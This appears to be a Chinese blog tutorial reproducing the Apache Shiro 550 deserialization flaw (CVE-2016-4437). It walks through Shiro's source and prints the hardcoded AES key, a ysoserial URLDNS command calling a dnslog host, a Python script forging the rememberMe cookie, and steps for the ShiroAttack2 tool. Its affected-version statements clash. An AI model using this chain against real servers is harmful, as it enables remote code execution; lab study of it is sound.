shiro550(cve-2016-4437)
0x00 漏洞详情
Shiro 550 是 Apache Shiro 1.2.4 及以下版本中,因「记住我(RememberMe)」功能设计缺陷导致的反序列化远程代码执行漏洞。其核心成因可概括为:
硬编码的 AES 密钥 + 可控输入的原生反序列化
结合加解密与反序列化流程,原理如下:

0x01 影响范围
Shiro <= 1.2.5
0x02 漏洞复现
环境准备
1.获取实验源码:
https://codeload.github.com/apache/shiro/zip/refs/tags/shiro-root-1.2.4
2.修改依赖配置:
编辑 pom.xml 文件,调整 javax.servlet 相关依赖以解决版本冲突:

3.添加 Tomcat 服务器:

4.启动并访问登录页:
启动 Web 服务后,访问 login.jsp 页面:
5.观察 RememberMe Cookie:
勾选「RememberMe」并登录,响应包中会出现 rememberMe 字段,其值为一串 Base64 编码字符串。
该字符串实际是后端对用户信息执行 序列化→AES 加密→Base64 编码 后的结果:

加密过程剖析
AbstractRememberMeManager类的rememberIdentity方法打下断点
这个方法是基于认证相关信息(Subject、认证令牌、认证信息)获取需记住的身份信息,进而执行身份记住操作。
java
public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
PrincipalCollection principals = getIdentityToRemember(subject, authcInfo);
rememberIdentity(subject, principals);
}

可以看见右下角可以看见用户名密码信息
往下跟到DefaultSerializer类的serialize方法,这里就是序列化操作
java
public byte[] serialize(T o) throws SerializationException {
if (o == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
ByteArrayOutputStream baos = new ByteArrayOutputStream();
BufferedOutputStream bos = new BufferedOutputStream(baos);
try {
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(o);
oos.close();
return baos.toByteArray();
} catch (IOException e) {
String msg = "Unable to serialize object [" + o + "]. " +
"In order for the DefaultSerializer to serialize this object, the [" + o.getClass().getName() + "] " +
"class must implement java.io.Serializable.";
throw new SerializationException(msg, e);
}
}

继续跟发现了JcaCipherService类的encrypt方法
java
public ByteSource encrypt(byte[] plaintext, byte[] key) {
byte[] ivBytes = null;
boolean generate = isGenerateInitializationVectors(false);
if (generate) {
ivBytes = generateInitializationVector(false);
if (ivBytes == null || ivBytes.length == 0) {
throw new IllegalStateException("Initialization vector generation is enabled - generated vector" +
"cannot be null or empty.");
}
}
return encrypt(plaintext, key, ivBytes, generate);
}


断下点后可以看见右下角的加密信息是AES加密,模式CBC,填充PKC5,key也出来了,它的字节列表是[-112, -15, -2, 108, -116, 100, -28, 61, -99, 121, -104, -120, -59, -58, -102, 104],转化为base64字符串就是:kPH+bIxk5D2deZiIxcaaaA==
转化脚本如下:
python
import base64
# 你的AES Key(带符号字节列表)
aes_key_sbyte = [-112, -15, -2, 108, -116, 100, -28, 61, -99, 121, -104, -120, -59, -58, -102, 104]
aes_key_bytes = bytes([x % 256 for x in aes_key_sbyte])
base64_str = base64.b64encode(aes_key_bytes).decode('utf-8')
print("Base64字符串:", base64_str)
也可以往前找到硬编码的key,查看所有调用的方法

选择AbstractRememberMeManager类,可以发现key来源于getEncryptionCipherKey()方法

继续往前跟

再找encryptionCipherKey

查看用法,继续

跟到了setEncryptionCipherKey方法

继续追它的用法


这里找到setCipherKey方法,立马设置了加解密的key,看这个cipherKey的来源


终于找到了硬编码的key ,和我们刚刚获取到的字节key是一样的

解密过程剖析
用带有rememberme参数值并且置空JSESSIONID参数值的数据包发送

CookieRememberMeManager类下的getRememberedSerializedIdentity方法,这里获取了rememberme的值

继续跟到JcaCipherService类的decrypt方法,发现了aes解密过程,这里发现key依旧没变,iv是base64解码后提取的前16位字节


继续跟,发现DefaultSerializer类的deserialize方法开始执行反序列化
java
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
} catch (Exception e) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, e);
}
}

漏洞利用链构造
根据上述加密与解密流程,Shiro 550 漏洞的完整利用需遵循以下步骤:
构造恶意序列化数据→AES 加密(CBC 模式,PKCS5 填充)→Base64 编码(IV + 密文拼接后编码),流程如图所示:

ysoserial生成序列化 Payload:
利用 ysoserial 工具生成反序列化漏洞利用链(需根据目标服务器环境选择合适的链,例如无依赖的 URLDNS 链可用于漏洞探测)。
-
工具下载 :ysoserial 官方仓库(需 Java 1.8 环境运行)。
-
查看支持的利用链:执行以下命令可列出所有可用链(链的有效性取决于目标服务器是否存在对应依赖库):
shelljava -jar ysoserial-all.jar

- 生成 URLDNS 链(用于探测):
1.先通过 DNS 日志平台(如 dnslog.cn)获取一个临时 DNS 地址(如 https://hqlr40.dnslog.cn),用于验证漏洞是否触发。

2.执行命令生成序列化数据并保存到文件:
shell
java -jar ysoserial-all.jar URLDNS https://hqlr40.dnslog.cn > ./urldns.txt
对序列化数据进行加密与编码
使用 Python 脚本对生成的恶意序列化数据执行 AES 加密 和 Base64 编码 ,生成最终的 rememberMe Cookie 值。
- 加密脚本:
python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
key = iv = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
with open("./urldns.txt", 'rb') as f:
data = f.read()
cipher = AES.new(key, AES.MODE_CBC, iv)
print(base64.b64encode(iv + cipher.encrypt(pad(data, AES.block_size))).decode())
-
脚本执行结果:
运行后生成一串 Base64 字符串,即最终可用于攻击的
rememberMeCookie 值。

发送 Payload 并验证漏洞
将生成的 final_payload 替换请求中的 rememberMe Cookie 值,发送请求后通过 DNS 日志验证漏洞是否触发。(清空有效的JSESSIONID)

查看 DNS 日志平台,若检测到目标服务器的 DNS 查询记录,说明反序列化漏洞已成功触发。

成功复现shiro550反序列化
自动化工具利用(简化流程)
若手动构造链较繁琐,可使用自动化工具(如 ShiroAttack2)直接完成密钥爆破、利用链检测和命令执行。
- 工具下载 :ShiroAttack2 仓库。
- 使用步骤:
1.爆破密钥:输入目标 URL 后,工具会自动爆破默认硬编码密钥。

2.检测可用利用链:根据目标环境筛选有效的反序列化链。

3.执行命令 :选择可用链后直接执行系统命令(如 whoami/calc),验证远程代码执行效果。

通过上述步骤,可完整复现 Shiro 550 漏洞的利用过程,核心在于利用硬编码密钥构造恶意序列化数据,触发服务器端的反序列化执行。
0x03 修复方式
升级到 Shiro 1.2.5 及以上版本,并主动生成随机且安全的密钥替换默认密钥。